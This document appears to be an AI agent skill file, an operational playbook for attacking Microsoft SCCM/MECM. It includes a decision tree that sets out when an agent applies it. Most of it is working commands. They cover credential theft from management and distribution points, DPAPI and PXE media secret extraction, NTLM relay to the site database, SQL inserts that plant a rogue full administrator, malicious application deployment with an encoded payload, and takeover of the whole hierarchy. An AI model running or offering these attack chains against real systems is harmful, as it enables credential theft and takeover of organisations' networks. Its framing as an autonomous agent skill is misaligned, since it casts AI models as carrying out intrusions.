sccm-mecm-attack

SCCM/MECM Attacks

Trigger Conditions

Use this skill in the following scenarios:

• SCCM / MECM / ConfigMgr services discovered on the internal network (site server, MP, DP)
• DNS enumeration discovers _mssms_mp or _mssms_sul SRV records
• Management Point (MP) or Distribution Point (DP) discovered
• Need to use SCCM for lateral movement or credential acquisition
• BloodHound / LDAP enumeration discovers mSSMSManagementPoint objects

Prerequisites

• Domain user credentials (some technologies support anonymous or machine accounts)
• Tools: SharpSCCM, sccmhunter, SCCMSecrets, pxethiefy, cmloot, ntlmrelayx
• Network reachable: MP (TCP 80/443), DP (TCP 80/443), Site DB (TCP 1433), SMS Provider (TCP 443)

SCCM Architecture Quick Reference Table

Role	Description	Default Port	Key Identifier
Primary Site Server	Core management server	-	Runs SMS_SITE_COMPONENT_MANAGER
Management Point (MP)	Client policy distribution	80/443	IIS CCM_* virtual directories
Distribution Point (DP)	Content distribution	80/443	SMS_DP$ share / SCCMContentLib$
Site Database	SQL Server storage	1433	RBAC_Admins / RBAC_ExtendedPermissions
SMS Provider	WMI/AdminService API	443	AdminService REST API
CAS	Hierarchy top level (multi-site)	-	Manages multiple Primary

---

Decision Tree

[开始] 发现 SCCM 基础设施
    │
    ├─ 有域凭证？
    │   ├─ 是 → Phase 1: SCCM 侦察
    │   └─ 否 → PXE 启动介质 / 匿名注册尝试
    │
    ├─ 凭证获取
    │   ├─ 可注册设备或控制机器账号 → Phase 2: 秘密策略提取
    │   └─ 已在 SCCM 客户端 → 本地 DPAPI 提取
    │
    ├─ 权限提升
    │   ├─ Client Push 启用 → Phase 3: 强制认证 relay
    │   └─ 有 SCCM 管理员 → Phase 4: 横向移动
    │
    └─ 层级接管
        └─ 多站点环境 → Phase 5: CAS 传播

---

Phase 1: SCCM Reconnaissance

Objective: Discover and identify SCCM infrastructure components

1.1 DNS SRV Record Query

# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN

# 查找 Software Update Point
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN

1.2 LDAP Enumeration

# 查找 Management Point 对象
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"

1.3 sccmhunter Automated Reconnaissance

# 发现 SCCM 基础设施
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP

# SMB 枚举确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP

# 显示发现结果
sccmhunter.py show -smb
sccmhunter.py show -all

1.4 Local Information Collection

# 本地站点信息 (已安装 SCCM 客户端)
SharpSCCM.exe local site-info

# WMI 查询
Get-WmiObject -Class SMS_Authority -Namespace root\CCM

1.5 PXE Boot Media Discovery

# 探测 PXE 环境 (无需域凭证)
pxethiefy.py explore -i $INTERFACE

---

Phase 2: Credential Acquisition

Objective: Extract NAA credentials, task sequence passwords, DP sensitive files

2.1 NAA Extraction — Register New Device

# HTTP MP — SCCMSecrets (推荐)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
  -u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"

# HTTPS MP (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
  -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
  --pki-cert ./cert.pem --pki-key ./key.pem

# NTLM relay 提取策略
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
  -smb2support --sccm-policies

# sccmhunter 自动化
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

# Windows — SharpSCCM
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD

2.2 PXE Boot Media Password Extraction

# Phase 1 发现 PXE 后，解密启动介质中的凭证
pxethiefy.py decrypt -f $PXE_MEDIA_FILE

2.3 NAA Extraction — Reuse Existing Device

# 使用已攻陷设备的注册凭据
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
  --use-existing-device compromised_device/

2.4 Local DPAPI Extraction

# SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGET

# SharpSCCM 本地
SharpSCCM.exe local secrets disk
SharpSCCM.exe local secrets wmi

# SharpDPAPI
SharpDPAPI.exe SCCM

# mimikatz
dpapi::sccm

2.5 WMI Direct Query

# NAA 凭证 (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
  -Class CCM_NetworkAccessAccount

# 任务序列变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
  -Class CCM_TaskSequence

2.6 Distribution Point File Scraping

# SCCMSecrets — 按扩展名搜刮
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
  -u '$USER' -H '$HASH' \
  --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'

# cmloot — 批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
  -findsccmservers -target-file sccmhosts.txt \
  -cmlootdownload sccmfiles.txt

---

Phase 3: Privilege Escalation

Objective: Obtain site administrator via Client Push / Site DB / AdminService relay

3.1 Client Push Forced Authentication

Principle: Client Push installation uses a high-privilege account to initiate NTLM authentication against the target, relay to other targets.

# 启动 relay
ntlmrelayx.py -smb2support -socks -ts -ip $ATTACKER_IP -t $TARGET

# 触发 Client Push
SharpSCCM.exe invoke client-push -t $TARGET --as-admin

3.2 Site Takeover — MSSQL Relay

Principle: The site server machine account has sysadmin privileges on the Site Database; after relaying to MSSQL, inject an administrator.

# 步骤 1: 启动 MSSQL relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks

# 步骤 2: 触发站点服务器认证 (Coercer / PetitPotam 等)
# 步骤 3: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth

-- 步骤 4: 注入 SCCM 管理员
-- 先获取目标用户 SID
USE CM_$SITE_CODE;
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER', 0, 0, '', '', '', '', '$SITE_CODE');

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00ALL', 29);

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00001', 1);

INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
        'SMS0001R', 'SMS00004', 1);

3.3 Site Takeover — AdminService Relay

# relay 到 SMS Provider AdminService
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
  -smb2support --adminservice \
  --logonname "$DOMAIN\\$USER" \
  --displayname "$DOMAIN\\$USER" \
  --objectsid $OBJECTSID

3.4 Passive → Active Site Server Relay

# relay passive 站点服务器到 active 站点服务器
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks

# 通过 SOCKS dump hash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER

# 以 active 站点服务器身份接管
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:$NTHASH -ip $SMS_PROVIDER_IP

---

Phase 4: Lateral Movement

Objective: Use SCCM administrator privileges to execute commands on clients

4.1 Application Deployment

# SharpSCCM — 指定资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET

4.2 PowerSCCM Complete Workflow

# 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER

# 建立会话
$session = New-SccmSession -ComputerName $SITE_SERVER -SiteCode $SITE_CODE -Credential $CRED

# 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
  -PowerShellB64 $ENCODED_PAYLOAD

# 部署到目标
New-SccmApplicationDeployment -Session $session -ApplicationName "evilApp" \
  -AssignmentName "deploy" -CollectionName "target_collection"

# 强制客户端检入
Invoke-SCCMDeviceCheckin -Session $session -CollectionName "target_collection"

4.3 CMScript Execution

New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
  -TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'

4.4 AdminService API Interaction

# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"

# 交互命令: help, interact, ps, ls, cat, exec, etc.

---

Phase 5: Hierarchy Takeover

Objective: Expanding from a single site to the entire SCCM hierarchy

5.1 CAS Automatic Propagation

An administrator added at any Primary site automatically propagates to the CAS and all child sites. Use Phase 3 to execute on one Primary add_admin then wait for replication to sync to control all sites.

# 在 sccmhunter admin 会话中
add_admin $DOMAIN\\$USER $ADMIN_SID

5.2 TAKEOVER-5: Cross-Site AdminService Relay

In a multi-site environment, relay to the AdminService of a remote SMS Provider to add an administrator.

ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
  -smb2support --adminservice \
  --logonname "$DOMAIN\\$USER" \
  --displayname "$DOMAIN\\$USER" \
  --objectsid $OBJECTSID

Note: ConfigMgr 2509+ rejects NTLM authentication on AdminService by default; this technique only applies to earlier versions.

---

Common Troubleshooting

Unable to register a new device

1. MP requires HTTPS + client certificate — need to obtain a PKI certificate or relay
2. Automatic approval not enabled — try relaying the authentication of an already-approved device
3. Site configuration "Domain-joined devices only" — need to use an existing machine account

NAA extraction is empty

1. Site has no NAA configured (eNAA environment) — try task sequence extraction
2. NAA password has expired — check Collection Variables
3. WMI policy has not yet been delivered — wait for the policy refresh cycle

Relay failed

1. Target has SMB signing enabled — cannot relay SMB, switch to HTTP/MSSQL
2. EPA (Extended Protection for Authentication) — bypassing requires the TLS certificate private key
3. ConfigMgr 2509+ rejects NTLM on AdminService — need to use the MSSQL path

---

Tool Reference

Tool	Purpose	Platform
sccmhunter	SCCM reconnaissance/exploitation/management	Linux
SharpSCCM	SCCM client exploitation	Windows
SCCMSecrets	Policy/NAA/DP extraction	Linux
pxethiefy	PXE boot media analysis	Linux
cmloot / sccm-http-looter	DP file scraping	Linux
ntlmrelayx	NTLM relay attack	Linux
PowerSCCM	SCCM management operations	Windows

---

In-Depth Reference

• → references/sccm-enumeration.md — SCCM reconnaissance methods and tool command reference
• → references/credential-harvesting.md — Detailed explanation of secret policy extraction, NAA/task sequence/DP credential acquisition
• → references/site-takeover.md — Complete attack chain for site takeover and lateral movement